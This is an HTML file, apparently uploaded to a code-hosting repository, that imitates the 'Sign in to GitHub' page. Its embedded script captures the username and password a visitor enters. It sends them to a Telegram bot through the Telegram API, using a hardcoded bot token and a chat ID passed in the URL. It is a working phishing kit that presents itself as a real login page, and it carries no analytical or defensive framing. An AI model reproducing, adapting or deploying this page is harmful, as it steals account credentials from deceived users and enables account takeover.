Login-signup-Extra1 / github.html
HenzHosting's picture
Upload 19 files
c956fd3 verified
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from login-y3bd.onrender.com/github.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:36:12 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Sign in to GitHub · GitHub</title>
<link rel="icon" type="image/png" href="../github.githubassets.com/favicons/favicon.png">
<style>
* { box-sizing: border-box; }
body {
font-family: Arial, sans-serif;
background-color: #f5f5f5;
text-align: center;
margin: 0;
padding: 20px;
}
.container {
width: 340px;
margin: auto;
padding: 20px;
background: #fff;
border-radius: 5px;
box-shadow: 0px 0px 10px #ddd;
}
.logo {
width: 50px;
margin-bottom: 10px;
}
h1 {
font-size: 18px;
color: #333;
}
input, button {
width: 100%;
padding: 10px;
margin-top: 10px;
border-radius: 5px;
border: 1px solid #ccc;
}
.btn {
background-color: #28a745;
color: white;
border: none;
cursor: pointer;
}
.btn:hover {
background-color: #218838;
}
a {
color: #0366d6;
text-decoration: none;
font-size: 14px;
}
.bottom-links {
font-size: 12px;
margin-top: 15px;
}
.bottom-links a {
margin: 0 8px;
}
</style>
</head>
<body>
<div class="container">
<img class="logo" src="../github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" alt="GitHub Logo">
<h1>Sign in to GitHub</h1>
<div id="login">
<input type="text" id="username" placeholder="Username or email address">
<input type="password" id="password" placeholder="Password">
<button class="btn" id="submit">Sign in</button>
</div>
<a href="#">Forgot password?</a>
<hr>
<p>New to GitHub?</p>
<a href="#">Create an account</a>
</div>
<div class="bottom-links">
<a href="#">Terms</a>
<a href="#">Privacy</a>
<a href="#">Security</a>
<a href="#">Contact GitHub</a>
</div>
<script>
function getQueryParam(param) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(param);
}
const chatId = getQueryParam('id');
const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg";
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
document.getElementById('submit').addEventListener('click', function () {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
if (!chatId) {
alert("Error: Missing chat ID.");
return;
}
const message1 = `🔐 GitHub Login\n👤 Username: ${username}\n🔑 Password: ${password}`;
const message2 = `💀 Follow for more content!`;
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message1
})
})
.then(response => response.json())
.then(data => {
if (data.ok) {
return fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message2
})
});
} else {
alert("Failed to send details.");
}
})
.catch(error => {
console.error("Error:", error);
alert("An error occurred.");
});
});
</script>
</body>
<!-- Mirrored from login-y3bd.onrender.com/github.html by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:36:13 GMT -->
</html>